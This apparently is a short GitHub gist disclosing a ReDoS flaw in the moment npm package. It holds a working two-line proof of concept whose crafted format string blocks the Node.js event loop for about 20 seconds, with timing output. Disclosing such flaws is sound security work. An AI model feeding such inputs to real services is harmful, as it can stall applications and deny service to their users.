Skip to content

Instantly share code, notes, and snippets.

Last active Nov 19, 2018
What would you like to do?
PoC for ReDoS in `moment` npm package

Details here:

It takes just a 40 characters long string to block the event loop for about 20 seconds on a standard laptop, while each additional space character will double that time.

Example: moment-test.js

var m = require("moment");
m().format("D                               MMN MMMM");
$ time node moment-test.js
21.24s user 0.14s system 96% cpu 22.079 total
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment